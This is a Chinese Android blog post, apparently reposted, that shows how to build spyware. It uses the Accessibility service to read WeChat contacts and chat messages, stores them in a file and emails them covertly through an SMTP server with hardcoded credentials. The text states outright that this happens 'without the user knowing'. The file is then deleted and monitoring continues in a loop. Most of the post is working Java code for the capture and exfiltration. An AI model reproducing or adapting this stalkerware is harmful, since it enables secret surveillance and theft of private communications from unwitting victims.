zoukankan      html  css  js  c++  java
  • Android开发——获取微信聊天记录(后台秘密发邮件)

    1. 首先先展示一下效果图:




    2. Accessibility机制

    Accessibility机制之前已经介绍过了,具体可以查看Accessibility机制实现模拟点击,需要简单的配置(如设置被监听的对象为微信)和实现。此文中介绍了如何通过Accessibility自动抢红包,在这个过程中,很明显,在调用如下代码时,

    AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();  
    遍历节点,再循环打印其getText()信息,便可以拿到用户通讯录以及聊天记录等信息的。

    获取到这些信息后,我们可以暂时写入文件,以备发送。

    private void write(String info){
    		try{
    			FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
    			PrintStream ps = new PrintStream(fos);
    			ps.println(info);
    			ps.close();
    		}
    		catch (Exception e) {
    			e.printStackTrace();
    		}
    	}

    当然,前提是在被监听用户在我们开启监听后聊过(或者说看到)的记录,否则用户连微信都不打开,我们是无从获取聊天记录等信息的。

    本文原创,转载请注明出处:http://blog.csdn.net/seu_calvin/article/details/51917182


    2. 后台秘密发邮件

    当然,我们监听到这些信息,需要实时地反馈给我们。这里我们采用邮件的形式,通过后台“偷偷地”发送这些信息。

    发送后台邮件需要用到三个第三方的库,分别为activation.jar,additionnal.jar,mail.jar。发送邮件的时候需要用到很多信息,包括发送邮件的服务器的IP和端口、邮件发送者的地址、邮件接收者的地址、登陆邮件发送服务器的用户名和密码、邮件主题、邮件的文本内容等等。

    这里需要注意的是,我们后台发邮件需要账号密码等敏感信息,这些邮件信息,除了邮件的文本内容信息,其他的信息我们都可以在程序里面编写好,这样便可以实现在用户未知的情况下,将用户的个人隐私信息作为邮件的文本内容,从应用程序目录下的文件内取出,完成后台发送

    还有一点需要注意的是,在完成后台秘密发送的同时,需要将存放敏感信息的的文件进行删除,以此来防止部分内容的重复发送。删除之后,重新开始监听用户信息,若信息有效,便重新创建文件写入信息,当达到设定好的发送条件时,再进行后台邮件发送,以此循环,来达到一直监听的目的。具体的发送时机,删除暂时保存数据的文件的时机等等,可以自定义实现。

    核心代码展示如下:

                            //发送邮件
                            MailSenderInfo mailInfo = new MailSenderInfo();
                            mailInfo.setMailServerHost("smtp.163.com");
                            mailInfo.setMailServerPort("25");
                            mailInfo.setValidate(true);
                            mailInfo.setUserName(userid);  //你的邮箱地址
                            mailInfo.setPassword(password);//您的邮箱密码
                            mailInfo.setFromAddress(from);
                            mailInfo.setToAddress(to);
                            mailInfo.setSubject(subject);
                            mailInfo.setContent(read());
                            //这个类主要来发送邮件
                            SimpleMailSender sms = new SimpleMailSender();
                            //发送文体格式
                            sms.sendTextMail(mailInfo);

    其中SimpleMailSender类展示如下,MyAuthenticator类需要继承Authenticator类,主要是在getPasswordAuthentication()方法中返回封装好的类型为PasswordAuthentication的鉴权结果即可。

    public class SimpleMailSender
    {
        /**
         * 以文本格式发送邮件
         * @param mailInfo 待发送的邮件的信息
         */
        public boolean sendTextMail(MailSenderInfo mailInfo){
            // 判断是否需要身份认证
            MyAuthenticator authenticator = null;
            Properties pro = mailInfo.getProperties();
            if (mailInfo.isValidate())
            {
                // 如果需要身份认证,则创建一个密码验证器
                authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
            }
            // 根据邮件会话属性和密码验证器构造一个发送邮件的session
            Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
            try
            {
                // 根据session创建一个邮件消息
                Message mailMessage = new MimeMessage(sendMailSession);
                // 创建邮件发送者地址
                Address from = new InternetAddress(mailInfo.getFromAddress());
                // 设置邮件消息的发送者
                mailMessage.setFrom(from);
                // 创建邮件的接收者地址,并设置到邮件消息中
                Address to = new InternetAddress(mailInfo.getToAddress());
                mailMessage.setRecipient(Message.RecipientType.TO,to);
                // 设置邮件消息的主题
                mailMessage.setSubject(mailInfo.getSubject());
                // 设置邮件消息发送的时间
                mailMessage.setSentDate(new Date());
                // 设置邮件消息的主要内容
                String mailContent = mailInfo.getContent();
                mailMessage.setText(mailContent);
                // 发送邮件
                Transport.send(mailMessage);
            }
            catch (MessagingException ex){
                ex.printStackTrace();
            }
            return false;
        }
    }

    MailSenderInfo类展示如下。

    public class MailSenderInfo {
        // 发送邮件的服务器的IP和端口
        private String mailServerHost = Constant.SERVICE_IP;
        private String mailServerPort = Constant.SERVICE_PORT;//一般为25
        // 邮件发送者的地址
        private String fromAddress;
        // 邮件接收者的地址
        private String toAddress;
        // 登陆邮件发送服务器的用户名和密码
        private String userName;
        private String password;
        // 是否需要身份验证
        private boolean validate = true;
        // 邮件主题
        private String subject;
        // 邮件的文本内容
        private String content;
        /**
         * 获得邮件会话属性
         */
        public Properties getProperties() {
            Properties p = new Properties();
            p.put("mail.smtp.host", this.mailServerHost);
            p.put("mail.smtp.port", this.mailServerPort);
            p.put("mail.smtp.auth", "true");
            return p;
        }
        public String getMailServerHost() {
            return mailServerHost;
        }
        public void setMailServerHost(String mailServerHost) {
            this.mailServerHost = mailServerHost;
        }
        public String getMailServerPort() {
            return mailServerPort;
        }
        public void setMailServerPort(String mailServerPort) {
            this.mailServerPort = mailServerPort;
        }
        public boolean isValidate() {
            return validate;
        }
        public void setValidate(boolean validate) {
            this.validate = validate;
        }
        public String getFromAddress(){
            return fromAddress;
        }
        public void setFromAddress(String fromAddress){
            this.fromAddress = fromAddress;
        }
        public String getPassword(){
            return password;
        }
        public void setPassword(String password){
            this.password = password;
        }
        public String getToAddress(){
            return toAddress;
        }
        public void setToAddress(String toAddress){
            this.toAddress = toAddress;
        }
        public String getUserName(){
            return userName;
        }
        public void setUserName(String userName){
            this.userName = userName;
        }
        public String getSubject(){
            return subject;
        }
        public void setSubject(String subject){
            this.subject = subject;
        }
        public String getContent(){
            return content;
        }
        public void setContent(String textContent){
            this.content = textContent;
        }
    }


  • 相关阅读:
    beta冲刺——用户使用调查报告
    专业团队——Beta计划总结随笔
    专业团队测试随笔
    Beta冲刺--第十次随笔
    Beta冲刺--第九次随笔(md文档问题的解决)
    Beta冲刺--第八次随笔
    Beta冲刺--第七次随笔(仓库优化)
    Beta冲刺--第六次随笔(仓库修改)
    Beta冲刺--第五次随笔
    Beta冲刺--第四次随笔
  • 原文地址:https://www.cnblogs.com/qitian1/p/6461615.html
Copyright © 2011-2022 走看看